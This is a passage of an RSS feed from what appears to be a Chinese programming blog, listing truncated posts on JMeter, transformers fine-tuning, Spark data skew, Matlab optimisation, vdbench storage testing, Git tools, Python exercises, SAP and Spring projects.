-H, --proxyHost &amp;lt;参数&amp;gt; 为 JMeter 设置代理服务器以使用 -P, --proxyPort &amp;lt;参数&amp;gt; 设置 JMeter 使用的代理服务器端口 -N, --nonProxyHosts &amp;lt;参数&amp;gt; 设置非代理主机列表（例如 *.</description>
    </item>
    <item>
      <title>在PyTorch里面利用transformers的Trainer微调预训练大模型</title>
      <link>https://bchobby.github.io/posts/1c55bbb456b19257280e5a21b53d299b/</link>
      <pubDate>Wed, 20 Sep 2023 15:18:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1c55bbb456b19257280e5a21b53d299b/</guid>
      <description>背景 transformers提供了非常便捷的api来进行大模型的微调，下面就讲一讲利用Trainer来微调大模型的步骤&#xA;第一步：加载预训练的大模型&#xA;from transformers import AutoModelForSequenceClassification model = AutoModelForSequenceClassification.from_pretrained(&#34;distilbert-base-uncased&#34;) 第二步：设置训练超参&#xA;from transformers import TrainingArguments training_args = TrainingArguments( output_dir=&#34;path/to/save/folder/&#34;, learning_rate=2e-5, per_device_train_batch_size=8, per_device_eval_batch_size=8, num_train_epochs=2, ) 比如这个里面设置了epoch等于2&#xA;第三步：获取分词器tokenizer&#xA;from transformers import AutoTokenizer tokenizer = AutoTokenizer.from_pretrained(&#34;distilbert-base-uncased&#34;) 第四步：加载数据集&#xA;from datasets import load_dataset dataset = load_dataset(&#34;rotten_tomatoes&#34;) # doctest: +IGNORE_RESULT 第五步：创建一个分词函数，指定数据集需要进行分词的字段：&#xA;def tokenize_dataset(dataset): return tokenizer(dataset[&#34;text&#34;]) 第六步：调用map()来将该分词函数应用于整个数据集&#xA;dataset = dataset.map(tokenize_dataset, batched=True) 第七步：使用DataCollatorWithPadding来批量填充数据，加速填充过程：&#xA;from transformers import DataCollatorWithPadding data_collator = DataCollatorWithPadding(tokenizer=tokenizer) 第八步：初始化Trainer&#xA;from transformers import Trainer trainer = Trainer( model=model, args=training_args, train_dataset=dataset[&#34;</description>
    </item>
    <item>
      <title>数据倾斜和数据倾斜的解决方案</title>
      <link>https://bchobby.github.io/posts/0aebf838b5e42bccfc8042d7c35f7f18/</link>
      <pubDate>Wed, 20 Sep 2023 15:06:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0aebf838b5e42bccfc8042d7c35f7f18/</guid>
      <description>1、什么是数据倾斜 Hadoop能够进行对海量数据进行批处理的核心，在于它的分布式思想，也就是多台服务器（节点）组成集群，进行分布式的数据处理。&#xA;举个例子，假如要处理一个10亿数据的表格，我的集群由10个节点组成，一台服务器处理这10亿数据需要10个小时，现在我将10亿条数据平均的分配到不同的节点上，每台节点负责处理1亿条数据，那么原本需要10个小时完成的工作，现在只需要1个小时即可。&#xA;而以上只是理想情况，实际上分配到每台节点的数据量并不是均匀的，当大量的数据分配到某一个节点时（假设5亿条），那么原本只需要1小时完成的工作，变成了其中9个节点不到1小时就完成了工作，而分配到了5亿数据的节点，花了5个小时才完成。&#xA;从最终结果来看，就是这个处理10亿数据的任务，集群花了5个小时才最终得出结果。大量的数据集中到了一台或者几台机器上计算，这些数据的计算速度远远低于平均计算速度，导致整个计算过程过慢，这种情况就是发生了数据倾斜。&#xA;2、数据倾斜的表现 2.1、MapReduce任务 主要表现在Reuduce阶段卡在99.99%，一直99.99%不能结束。&#xA;有一个多几个Reuduce卡住；各种container报错OOM；读写的数据量极大，至少远远超过其它正常的Reuduce。伴随着数据倾斜，会出现任务被kill等各种诡异的表现。 2.2、Spark任务 绝大多数task执行得都非常快，但个别task执行的极慢；&#xA;单个Executor执行时间特别久，整体任务卡在某个stage不能结束；&#xA;Executor lost，OOM，Shuffle过程出错；&#xA;正常运行的任务突然失败；&#xA;用SparkStreaming做实时算法时候，一直会有 executor 出现 OOM 的错误，但是其余的executor内存使用率却很低。&#xA;3、发生数据倾斜的原因 正常的数据分布理论上都是倾斜的，就是我们所说的二八原理：80%的财富集中在20%的人手中, 80%的用户只使用20%的功能 , 20%的用户贡献了80%的访问量 , 不同的数据字段可能的数据倾斜一般有两种情况：&#xA;唯一值非常少，极少数值有非常多的记录值（唯一值少于几千）；&#xA;唯一值比较多，这个字段的某些值有远远多于其他值的记录数，但是它的占比也小于百分之一或千分之一。&#xA;可以理解为：&#xA;数据频率倾斜——某一个区域数据要远远大于其他区域；数据大小倾斜——部分记录的大小远远大于平均值。 无论是MR还是Spark任务进行计算的时候，都会触发 Shuffle 动作，一旦触发，所有相同key的值就会拉到一个或几个节点上，就容易发生单个节点处理数据量爆增的情况 。&#xA;Shuffle 的中文含义是“洗牌”，其原理在这里不展开说，但通过下面这张图，你能了解到它的对数据进行了什么样的处理。&#xA;3.1、key 分布不均匀 某些key的数量过于集中，存在大量相同值的数据；存在大量异常值或空值。 3.2、业务数据本身的特性 例如某个分公司或某个城市订单量大幅提升几十倍甚至几百倍，对该城市的订单统计聚合时，容易发生数据倾斜。&#xA;3.3、某些 SQL 语句本身就有数据倾斜 两个表中关联字段存在大量空值，或是关联字段的数据不统一，例如在A表中值是大写，B表中值是小写等情况。&#xA;4、触发数据倾斜的SQL操作 关键词情况后果join其中一个表较小，但是key集中分发到某一个或几个Reduce/Stage的数据远高于平均值大表与大表，但是分桶的判断字段0值或空值过多这些空值都由一个Reduce/Stage处理，非常慢group bygroup by维度过小，某值的数量过多处理某值的Reduce/Stage非常耗时count distinct某特殊值过多处理此特殊值的Reduce/Stage非常耗时 5、数据倾斜的解决方案 首先排除过滤倾斜key，ETL预处理这种治标不治本的方法，然后详细来讲解各种不同的处理方式。&#xA;5.1、参数调整 5.1.1、通用优化：提高 shuffle 并行度 Spark的shuffle并行度默认值是200，建议根据服务器的情况进行调整。一般是集群cpu总和的2-3倍。当发生数据倾斜的时候，适当增大并行度，可以将原本被分配到同一个Task的不同Key分配到不同Task。&#xA;set spark.sql.shuffle.partitions= [num_tasks] 5.1.1.1、原理 5.1.1.2、缺点 它没有从根本上改变数据倾斜的本质和问题，只是说尽可能地去缓解和减轻 shuffle reduce task 的数据压力，以及数据倾斜的问题。。&#xA;5.1.2、map 端聚合，启动负载均衡 适用范围： group by 造成的数据倾斜。</description>
    </item>
    <item>
      <title>数学建模| 非线性规划（Matlab）</title>
      <link>https://bchobby.github.io/posts/89a54a73215e9342f0e2e003ecf4ace5/</link>
      <pubDate>Wed, 20 Sep 2023 14:28:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/89a54a73215e9342f0e2e003ecf4ace5/</guid>
      <description>非线性规划（Matlab） 非线性规划Matlab函数Matlab使用例子 非线性规划 非线性规划：约束条件和目标函数存在非线性函数。简单点说，约束条件和目标函数中至少一个决策变量不是一次方，例如三角函数、对数、多次方等。&#xA;线性规划和非线性在解决上的不同：线性规划可以有通用方法，但是非线性规划的求解是没有特定算的，只能用近似的算法，每种算法都有自己适用的范围。这些算法有很多，Matlab内部已经实现好了，有现成的函数，如果想了解内部具体的实现可以另寻查找，本文就只介绍如何调用Matlab中的函数达成求非线性规划。&#xA;Matlab函数 Matlab函数：&#xA;[x,value]=fmincon(func,x0,A,b,Aeq,beq,lb,ub,nonlcon，options) 参数解释：&#xA;func 表示目标函数。A 表示不等式约束条件系数矩阵，b 表示不等式约束条件常数矩阵。Aeq 表示等式约束条件系数矩阵，beq 表示等式约束条件常数矩阵。lb 表示决策变量的下限数组，ub表示决策变量的上限数组。x 表示目标函数 func 取得最小值时的决策变量取值数组。value 表示目标函数 func 取得的最小值。x0表示初始值。nonlcon 非线性约束，包括不等式和等式。options是优化参数。 Matlab中线性规划的标准形式：C(x)和Ceq(x)是非线性约束的不等式和等式。&#xA;min ⁡ f ( x ) \min f(x) minf(x)&#xA;s . t . { A x ⩽ b A e q ⋅ x = b e q l b ⩽ x ⩽ u b C ( x ) ⩽ 0 C e q ( x ) = 0 s.</description>
    </item>
    <item>
      <title>【分布式系统测试】vdbench的使用教程——裸盘测试和文件系统测试ceph</title>
      <link>https://bchobby.github.io/posts/4e6e446c4edcc3dd7310737b534fe831/</link>
      <pubDate>Wed, 20 Sep 2023 13:09:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4e6e446c4edcc3dd7310737b534fe831/</guid>
      <description>即看即用&#xA;1、下载 https://www.oracle.com/downloads/server-storage/vdbench-downloads.html&#xA;(外网不一定能访问下载，可以直接在csdn下载栏搜索。下载)&#xA;2、解压&#xA;文件夹中的vdbench.bat是个windows用，vdbench 给linux用&#xA;Linux&#xA;3、进入文件夹&#xA;./vdbench -t 测试一下可用性&#xA;运行测试模型&#xA;./vdbench -f {filename} -o {exportpath}&#xA;#注：-f后接测试参数文件/名脚本名，-o后接导出测试结果路径&#xA;脚本的编写&#xA;这部分可以参考解压后的examples文件夹下的脚本，比如create_files；也可以参考output目录下的parmfile.html&#xA;运行脚本&#xA;root@node1:/home/vdbench50406# ./vdbench -f examples/filesys/create_files -jn&#xA;其中-jn是为了做数据校验，见文章末尾解释。&#xA;输出结果&#xA;windows&#xA;3、进入文件夹&#xA;可以执行./vdbench.bat -t 测试一下可用性(需要安装jre/jdk，要配置好环境变量)&#xA;编写windows vdbench 脚本(或叫做配置文件) parmfile&#xA;./vdbench -f parmfile&#xA;这里的parmfile需要根据测试环境修改，可以参考output目录下的parmfile&#xA;样例：&#xA;dd if=/dev/zero of=/tmp/disk1 bs=4 count=1M&#xA;vim parmfile&#xA;sd=sd1,lun=/tmp/disk1 size=4m&#xA;wd=wd1,sd=sd1,xfersize=4096,readpct=100&#xA;rd=run1,wd=wd1,iorate=100,elapsed=10,interval=1&#xA;[root@localhost vdbench504]# ./vdbench -f parmfile.html&#xA;建立rsh通信&#xA;./vdbench rsh&#xA;注：此命令是用于windows系统多主机联机跑vdbench时使用，因为windows操作系统不支持ssh，因此，vdbench提供了rsh的通信方式。在目标主机上执行此工具后，vdbench将会启动一个java socket用于vdbench slave与master之间通信&#xA;详细说明&#xA;vdbench简介&#xA;vdbench 是一个磁盘I/O负载生成器，主要用于基准测试和存储产品的测试。</description>
    </item>
    <item>
      <title>Spark SQL【基于泰坦尼克号生还数据的 Spark 数据分析处理】</title>
      <link>https://bchobby.github.io/posts/2c42b370e4b58201e9d1941bcc6f1adf/</link>
      <pubDate>Wed, 20 Sep 2023 11:22:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2c42b370e4b58201e9d1941bcc6f1adf/</guid>
      <description>前言 昨天实验课试着做了一个 Spark SQL 小案例，发现好多内容还是没有掌握，以及好多书上没有的内容需要学习。&#xA;一、数据准备 csv 文件内容部分数据展示：&#xA;PassengerId,Survived,Pclass,Name,Sex,Age,SibSp,Parch,Ticket,Fare,Cabin,Embarked 1,0,3,&#34;Braund, Mr. Owen Harris&#34;,male,22,1,0,A/5 21171,7.25,,S 2,1,1,&#34;Cumings, Mrs. John Bradley (Florence Briggs Thayer)&#34;,female,38,1,0,PC 17599,71.2833,C85,C 3,1,3,&#34;Heikkinen, Miss. Laina&#34;,female,26,0,0,STON/O2. 3101282,7.925,,S 4,1,1,&#34;Futrelle, Mrs. Jacques Heath (Lily May Peel)&#34;,female,35,1,0,113803,53.1,C123,S 5,0,3,&#34;Allen, Mr. William Henry&#34;,male,35,0,0,373450,8.05,,S 6,0,3,&#34;Moran, Mr. James&#34;,male,,0,0,330877,8.4583,,Q 字段说明 • PassengerId ： 乘客编号。&#xA;• Survived ： 是否存活，0表示未能存活，1表示存活。&#xA;• Pclass ： 描述乘客所属的等级，总共分为三等，用1、2、3来描述：1表示高等；2表示中等；3表示低等。&#xA;• Name ： 乘客姓名。&#xA;• Sex ： 乘客性别。&#xA;• Age ： 乘客年龄。&#xA;• SibSp ： 与乘客同行的兄弟姐妹（Siblings）和配偶（Spouse）数目。</description>
    </item>
    <item>
      <title>Git系列（五）：三个Git图形化工具</title>
      <link>https://bchobby.github.io/posts/e70e62e83f88a0de0b069a37a5ee20b0/</link>
      <pubDate>Wed, 20 Sep 2023 10:20:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e70e62e83f88a0de0b069a37a5ee20b0/</guid>
      <description>在本文里，我们来了解几个能帮你在日常工作中舒服地用上 Git 的工具。我是在这许多漂亮界面出来之前学习的 Git，而且我的日常工作经常是基于字符界面的，所以 Git 本身自带的大部分功能已经足够我用了。在我看来，最好能理解 Git 的工作原理。不过，能有的选也不错，下面这些就是能让你不用终端就可以开始使用 Git 的一些方式。 KDE Dolphin 里的 Git&#xA;我是一个 KDE 用户，如果不在 Plasma 桌面环境下，就是在 Fluxbox 的应用层。Dolphin 是一个非常优秀的文件管理器，有很多配置项以及大量秘密小功能。大家为它开发的插件都特别好用，其中一个几乎就是完整的 Git 界面。是&#xA;的，你可以直接在自己的桌面上很方便地管理你的 Git 仓库。&#xA;但首先，你得先确认已经安装了这个插件。有些发行版带的 KDE 将各种插件都装的满满的，而有些只装了一些最基本的，所以如果你在下面的步骤里没有看到 Git 相关选项，就在你的软件仓库里找找类似 dolphin-extras 或者 dolphin-plugins 的包。&#xA;要打开 Git 集成功能，在 Dolphin 的任一窗口里点击 Settings 菜单，并选择 Configure Dolphin。&#xA;在弹出的 Configure Dolphin 窗口里，点击左边侧栏里的 Services 图标。&#xA;在 Services 面板里，滚动可用的插件列表找到 Git。&#xA;(勾选上它，)然后保存你的改动并关闭 Dolphin 窗口。重新启动 Dolphin，浏览一个 Git 仓库试试看。你会发现现在所有文件图标都带有标记：绿色方框表示已经提交的文件，绿色实心方块表示文件有改动，没加入库里的文件没有标记，等等。&#xA;之后你在 Git 仓库目录下点击鼠标右键弹出的菜单里就会有 Git 选项了。你在 Dolphin 窗口里点击鼠标就可以检出一个版本，推送或提交改动，还可以对文件进行 git add 或 git remove 操作。</description>
    </item>
    <item>
      <title>vscode vue ctrl&#43;鼠标左键点击函数名无法跳转问题解决</title>
      <link>https://bchobby.github.io/posts/0fddd1ce547ef63970802cf34d48d670/</link>
      <pubDate>Wed, 20 Sep 2023 10:09:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0fddd1ce547ef63970802cf34d48d670/</guid>
      <description>在vscode中安装插件vue-helper即可 （vue-helper支持CTRL+点击函数跳转 || 绑定对象跳转）</description>
    </item>
    <item>
      <title>ssm构建一个简单的demo</title>
      <link>https://bchobby.github.io/posts/e2a57b41151894434ebc3ab4585b4966/</link>
      <pubDate>Wed, 20 Sep 2023 09:46:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e2a57b41151894434ebc3ab4585b4966/</guid>
      <description>1.首先建立springboot项目 2.引入pom文件 &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-data-redis&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; ​ &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-web&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; ​ &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-test&amp;lt;/artifactId&amp;gt; &amp;lt;scope&amp;gt;test&amp;lt;/scope&amp;gt; &amp;lt;exclusions&amp;gt; &amp;lt;exclusion&amp;gt; &amp;lt;groupId&amp;gt;org.junit.vintage&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;junit-vintage-engine&amp;lt;/artifactId&amp;gt; &amp;lt;/exclusion&amp;gt; &amp;lt;/exclusions&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- mybatis-plus --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.baomidou&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mybatis-plus-boot-starter&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.3.2&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- ____________________________________________________________ --&amp;gt; &amp;lt;!-- mysql --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;mysql&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mysql-connector-java&amp;lt;/artifactId&amp;gt; &amp;lt;scope&amp;gt;runtime&amp;lt;/scope&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- ____________________________________________________________ --&amp;gt; &amp;lt;!-- lombok --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.projectlombok&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;lombok&amp;lt;/artifactId&amp;gt; &amp;lt;optional&amp;gt;true&amp;lt;/optional&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- ____________________________________________________________ --&amp;gt; &amp;lt;!-- 数据库性能分析插件 --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;p6spy&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;p6spy&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.8.6&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- ____________________________________________________________ --&amp;gt; &amp;lt;!--swagger--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;io.</description>
    </item>
    <item>
      <title>基于SpringBoot的学生宿舍管理系统的设计与实现</title>
      <link>https://bchobby.github.io/posts/fa02e6471d1a3e26af92224cc1a7b5ef/</link>
      <pubDate>Wed, 20 Sep 2023 08:59:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fa02e6471d1a3e26af92224cc1a7b5ef/</guid>
      <description>目录&#xA;前言&#xA;一、技术栈&#xA;二、系统功能介绍&#xA;管理员功能实现&#xA;宿管员功能实现 ​编辑&#xA;学生功能实现 三、核心代码&#xA;1、登录模块&#xA;2、文件上传模块&#xA;3、代码封装&#xA;前言 互联网发展至今，无论是其理论还是技术都已经成熟，而且它广泛参与在社会中的方方面面。它让信息都可以通过网络传播，搭配信息管理工具可以很好地为人们提供服务。针对学生宿舍信息管理混乱，出错率高，信息安全性差，劳动强度大，费时费力等问题，采用学生宿舍管理系统可以有效管理，使信息管理能够更加科学和规范。&#xA;学生宿舍管理系统在Eclipse环境中，使用Java语言进行编码，使用Mysql创建数据表保存本系统产生的数据。系统可以提供信息显示和相应服务，其管理员管理宿管员，管理学生，修改密码，维护个人信息。宿管员管理公寓资产，缴费信息，公共场所清理信息，日常事务信息，审核学生床位安排信息。学生查看公共场所清理信息，日常事务，缴费信息，在线申请床位，查看床位安排。&#xA;总之，学生宿舍管理系统集中管理信息，有着保密性强，效率高，存储空间大，成本低等诸多优点。它可以降低信息管理成本，实现信息管理计算机化。&#xA;一、技术栈 末尾获取源码&#xA;SpringBoot+Vue+JS+ jQuery+Ajax...&#xA;二、系统功能介绍 管理员功能实现 管理员进入指定功能操作区之后可以管理宿管员。其页面见下图。宿管员的资料需要管理员负责管理，包括修改，新增，删除等操作。&#xA;管理员进入指定功能操作区之后可以管理学生。其页面见下图。学生信息也需要管理员负责管理，包括信息的增删改查操作。&#xA;宿管员功能实现 宿管员进入指定功能操作区之后可以管理学生信息。其页面见下图。宿管员增删改查学生信息，为各位学生申请床位，管理学生的卫生记录和日常事务评分。&#xA;宿管员进入指定功能操作区之后可以管理公寓资产。其页面见下图。公寓资产存在损坏情况，需要宿管员通过损坏按钮登记公寓资产损坏信息。&#xA;宿管员进入指定功能操作区之后可以管理缴费信息。其页面见下图。宿管员增删改缴费信息。&#xA;宿管员进入指定功能操作区之后可以管理床位安排。其页面见下图。宿管员审核对学生的床位安排信息。&#xA;学生功能实现 学生进入指定功能操作区之后可以查看清理公共场所信息。其页面见下图。各位学生负责清理的公共场所信息都会显示在本页面，学生可查询也能查看。&#xA;学生进入指定功能操作区之后可以申请床位。其页面见下图。学生可以选择床位号进行床位申请，宿管员审核通过之后，学生才能使用申请的床位。&#xA;学生进入指定功能操作区之后可以查看日常事务。其页面见下图。学生查看日常事务的加分项和评分标准信息。&#xA;学生进入指定功能操作区之后可以查看缴费信息。其页面见下图。学生查看住宿费用，以及缴费时间等信息。&#xA;三、核心代码 1、登录模块 package com.controller; import java.util.Arrays; import java.util.Calendar; import java.util.Date; import java.util.Map; import javax.servlet.http.HttpServletRequest; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PathVariable; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; import com.</description>
    </item>
    <item>
      <title>程序员的中秋</title>
      <link>https://bchobby.github.io/posts/0839a008622a57463e6fb8263539870c/</link>
      <pubDate>Wed, 20 Sep 2023 00:06:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0839a008622a57463e6fb8263539870c/</guid>
      <description>“月圆人团圆，天涯共此时。”对于我们这些在全球各地分布的程序员来说，中秋这个富有诗意的节日，也许并非如诗如画般的浪漫，但却别有一番韵味。在这个特殊的日子里，我想借着这个平台，和大家分享我的中秋故事，也希望能够通过这个平台，将我对中秋的热爱，对编程的热爱，传递给大家。&#xA;“每逢佳节倍思亲。”在中秋节这一天，我身在异乡，却深深地体会到了这句话的深意。尽管我无法和家人团聚，尽管我无法像其他人那样与朋友相聚，但是，我有着编程的陪伴，有着这个“虚拟社区”的温暖。&#xA;在这个数字化的时代，我们通过代码传递思想，通过程序解决问题。中秋节并不能阻止我们前行的步伐，反而更加坚定了我们前行的决心。&#xA;我在这个特殊的节日里，选择了与代码为伍，与机器为伴。这也许是我作为一名程序员，对于中秋最好的致敬。在键盘上敲击出的不是简单的文字，而是我对未来的憧憬，对技术的热爱。&#xA;在这个日子里，我选择了与开源为伍。我参与了各种编程项目，为开源社区贡献了自己的一份力量。这些项目或许不是最炫酷的，或许不是最具有商业价值的，但是它们带给我无尽的乐趣和满足感。&#xA;当我在中秋节这一天写下这些文字的时候，我想说：我爱编程，我享受这个与我为伍的中秋节。这也许有些难以理解，也许有些与众不同，但这正是我作为程序员的独特中秋节。&#xA;正如古人所说：“海上生明月，天涯共此时。”尽管我们不能共享月饼，不能同看一轮明月，但是我们的心是相通的。我们有着同样的情感，有着同样的热爱。我们热爱编程，热爱这个让我们欢笑、思考、成长的中秋节。&#xA;在这个中秋节里，我选择了与代码共舞。这也许是我最好的中秋节礼物，是与编程共度的中秋之夜。在这个特殊的日子里，我感受到了编程带给我的喜悦和满足感。这是一种无法用言语表达的情感，是一种源自内心的热爱和激情。&#xA;在这个中秋节里，我感受到了编程的魅力。我感受到了编程带给我的快乐和成就感。这是一种无法用言语表达的情感，是一种源自内心的热爱和激情。&#xA;在这个中秋节里，我更加深刻地理解了编程的意义。编程不仅仅是一种技能，更是一种思考方式，一种解决问题的方法。通过编程，我能够更好地理解世界运行的规律，更好地解决现实中的问题。这是一种非常有价值的体验，是一种源自内心的热爱和追求。&#xA;在这个中秋节里，我更加珍惜编程带给我的机会。我明白了编程是我能够在这个世界上留下自己足迹的工具。通过编程，我能够将自己的想法变为现实，为世界贡献一份力量。这是一种非常宝贵的经历，是一种源自内心的动力和信念。&#xA;在这个中秋节里，我想对所有正在编程的你说：无论你身处何方，无论你正经历什么困难和挑战，都请记住你的选择、你的热爱、你的梦想。编程带给我们无尽的可能性和机会，让我们在中秋这个特殊的日子里，用代码书写自己的故事和未来。”</description>
    </item>
    <item>
      <title>9.14python</title>
      <link>https://bchobby.github.io/posts/30c8501e517936fd926bbd610d0199f3/</link>
      <pubDate>Tue, 19 Sep 2023 18:57:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/30c8501e517936fd926bbd610d0199f3/</guid>
      <description>九九乘法表&#xA;for i in range(1, 10): for j in range(1, i + 1): print(f&#34;{j}*{i}=%-3d&#34; % (i * j), end=&#34;&#34;) if j == i: print(&#34;\n&#34;, end=&#34;&#34;) 逢7拍手&#xA;for i in range(1, 100): f = 0 if i % 7 == 0: # 倍数 f = 1 #print(&#34;a&#34;) elif i // 10 == 7: # 十位 f = 1 #print(&#34;c&#34;) elif i % 10 == 7: # 个位 f = 1 #print(&#34;</description>
    </item>
    <item>
      <title>9.19Python</title>
      <link>https://bchobby.github.io/posts/5e151bf9a33fb7d40be1fcbcccfe49e1/</link>
      <pubDate>Tue, 19 Sep 2023 18:54:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5e151bf9a33fb7d40be1fcbcccfe49e1/</guid>
      <description>判断是否包含大写字母&#xA;x=input(&#34;请输入字符串：&#34;) for i in x: if &#39;A&#39; &amp;lt;= i &amp;lt;= &#39;Z&#39;: print(True) break elif i == x[len(x)-1]: print(False) 输出字符串里s的位置和数量，替换&#xA;string = &#39;wuhan institute of design and sciences&#39; print(string.count(&#39;s&#39;)) for i in range(0, len(string)): n = string.find(&#39;s&#39;, i, i + 1) if n &amp;gt; 0: print(n) print(string.replace(&#34; &#34;, &#34;*&#34;)) 字符串的分割和拼接&#xA;string = &#39;wuhan institute of design and sciences&#39; x = &#39;*&#39; print(string.split(&#39; &#39;)) print(x.join(string)) 英文格式（删除乱码，多余空格，统一大小写）&#xA;#string = &#39;wuhan &amp;gt;&amp;gt;&amp;gt;institute of design?</description>
    </item>
    <item>
      <title>matinal：SAP 资产月结报错：AA697 未来期间的过帐运行已申请</title>
      <link>https://bchobby.github.io/posts/35c436dee7acdf1934639cf38dce9661/</link>
      <pubDate>Tue, 19 Sep 2023 18:00:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/35c436dee7acdf1934639cf38dce9661/</guid>
      <description>根据某会计反馈，做资产月结的时候出现如下错误&#xA;旧财年结算之前，要检查旧财年的资产业务是否已经全部入账，每个资产应计提折旧与实际计提折旧计算是否正确；&#xA;旧财年结算后，要关闭旧财年的资产财政年度，打开新的资产财政年度。&#xA;打开下一个资产会计年度&#xA;AJRW&#xA;确认无误后正式运行，此操作同资产月结一样需要转入后台执行，查看：SM37。&#xA;结转资产到下一个会计年度——关闭旧会计年度&#xA;AJAB&#xA;确认无误后正式运行，此操作同资产月结一样需要转入后台执行，查看：SM37。&#xA;资产反年结操作：OAAQ&#xA;只需要把“结算会计年度”改小一年，然后去处理错误，处理完毕之后重新进行年结的操作即可。&#xA;运行结束之后可以通过事务代码S_ALR_87011994查看结转情况。</description>
    </item>
    <item>
      <title>【20230919】win11无法删除Chrome注册表项</title>
      <link>https://bchobby.github.io/posts/ef40cf9dc285f3e3fabce84b721c0c04/</link>
      <pubDate>Tue, 19 Sep 2023 17:06:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ef40cf9dc285f3e3fabce84b721c0c04/</guid>
      <description> win11无法删除Chrome注册表项 删除以下注册表项发生错误：&#xA;计算机\HKEY_LOCAL_MACHINE\SOFTWAR\Google计算机\HKEY_CURRENT_USER\Software\Google 尝试了很多删除注册表方法（例如：编辑remove.reg文件），都不行。&#xA;无法删除应该还是由于权限问题。&#xA;解决方法（给予权限） 展开Chrome根项目（从根项目一层一层删除），右击com.microsoft.browsercore，选择权限选择Administrators，选择高级&#xA;更改所有者 -&amp;gt; 选择高级-&amp;gt;立即查找-&amp;gt;选择Administrator（图标是一个小人的就是你的用户） </description>
    </item>
    <item>
      <title>菜品管理模块day06</title>
      <link>https://bchobby.github.io/posts/9c26b41fcfee6fcbe5f318a1e23b6420/</link>
      <pubDate>Tue, 19 Sep 2023 17:02:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9c26b41fcfee6fcbe5f318a1e23b6420/</guid>
      <description>day06菜品管理 1、新增菜品 1.1、功能分析&#xA;点击新增菜品，进入添加菜品网页【标1】；添加完成菜品名称和单价【标2】后，选择菜品所属的菜品分类【标4】【标5】（需要一个菜品分类选择列表功能）；为需要添加口味偏好的菜品添加特色口味【标6】和【标7】（需要一个口味选择列表功能，前端固定死了，后端省略），点击【标8】为菜品添加图片（图片上产），图片上传后，自动执行图片下载（图片显示），这个功能前面已经完成；菜品添加完成后，点击【标10】，向后端发送保存请求； 1.2、代码&#xA;Category_controller /** * 查找所有符合条件的数据列表 * @param categoryListDto dto * @return Result&amp;lt;List&amp;lt;Category&amp;gt;&amp;gt; */ @GetMapping(&#34;/list&#34;) @ApiOperation(value = &#34;查找所有符合条件的数据列表&#34; ) public Result&amp;lt;List&amp;lt;Category&amp;gt;&amp;gt; getList(CategoryListDto categoryListDto) { log.info(&#34;CategoryListDto={}&#34;,categoryListDto); //执行查询 List&amp;lt;Category&amp;gt; list= categoryService.list(categoryListDto); return Result.success(list); } Service List&amp;lt;Category&amp;gt; list(CategoryListDto categoryListDto); Impl @Override public List&amp;lt;Category&amp;gt; list(CategoryListDto categoryListDto) { //1.准备查询条件和排序规则 LambdaQueryWrapper&amp;lt;Category&amp;gt; queryWrapper = new LambdaQueryWrapper&amp;lt;&amp;gt;(); queryWrapper.eq(categoryListDto.getType() != null,Category::getType,categoryListDto.getType()); queryWrapper.orderByAsc(Category::getSort).orderByDesc(Category::getUpdateTime); //2.查询数据 List&amp;lt;Category&amp;gt; list = super.list(queryWrapper); //3.返回数据 return list; } 1.3、问题&#xA;因为Dish实体类不满足接收flavor参数，需要创建一个Dish的子类DishDto，用于封装口味数据&#xA;2、删除菜品 控制层</description>
    </item>
    <item>
      <title>AG35学习笔记（一）：debug串口抓取模组log、debug串口测试AT指令、echo命令通过串口发送16进制数据</title>
      <link>https://bchobby.github.io/posts/5723d086ddc4dedc2206ec6c57644c67/</link>
